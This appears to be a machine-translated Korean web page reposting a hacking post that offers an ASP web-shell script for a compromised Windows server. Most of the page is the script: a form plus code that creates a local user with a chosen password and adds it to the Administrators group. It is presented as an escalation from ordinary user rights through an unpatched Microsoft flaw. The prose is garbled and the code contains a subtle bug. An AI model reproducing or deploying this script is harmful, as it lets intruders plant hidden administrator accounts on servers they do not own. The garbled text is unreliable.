슈퍼 유저 의.asp 코드 추가[블 루 스크린 의 오리지널,케 빈 개선,Ms 미 공개 구멍]

슈퍼 유저 의.asp 코드 추가[블 루 스크린 의 오리지널,케 빈 개선,Ms 미 공개 구멍]작성 자:블 루 스크린,케 빈 글 출처:빙점 한계 사실 지난 주 에 나 와 케 빈 은 내 육계 에서 테스트 를 했 고 하마 에 픽 도 있 었 다.결 과 는 user 권한 하에 Administrators 팀 의 사용 자 를 성공 적 으로 추가 했다. 위 에서 그 가 발표 하 는 것 을 보고 돌 아 왔 다.하하,다음 단 계 는 그 를 바다 로 통합 시 키 고 싶 어.헤헤. 

<head>.network </head> 
<form action="useradd.asp" method=post> 
:<input name="username" type="text" value="kevin1986"><br> 
:<input name="passwd" type="password"><br> 
<input type="submit" Value="   "> 
</form> 

<%@codepage=936 
on error resume next 
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then 
response.write "iP !s n0T RiGHt" 
else 
if request("username")<>"" then 
username=request("username") 
passwd=request("passwd") 
Response.Expires=0 
Session.TimeOut=50 
Server.ScriptTimeout=3000 
set lp=Server.createObject("WSCRIPT.NETWORK") 
oz="WinNT://"&lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz&"/Administrators,group") 
Set od=ob.create("user",username) 
od.SetPassword passwd 
od.SetInfo 
oe.Add oz&"/"&username 
if err then 
response.write " ~~ 6+1 …… 2 ……" 
else 
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall)," ")>0 then 
response.write " , . " 
else 
Response.write "OMG!"&username&" ! .5,000,000RMB " 
end if 
end if 
else 
response.write " " 
end if 
end if 
%> 

좋은 웹페이지 즐겨찾기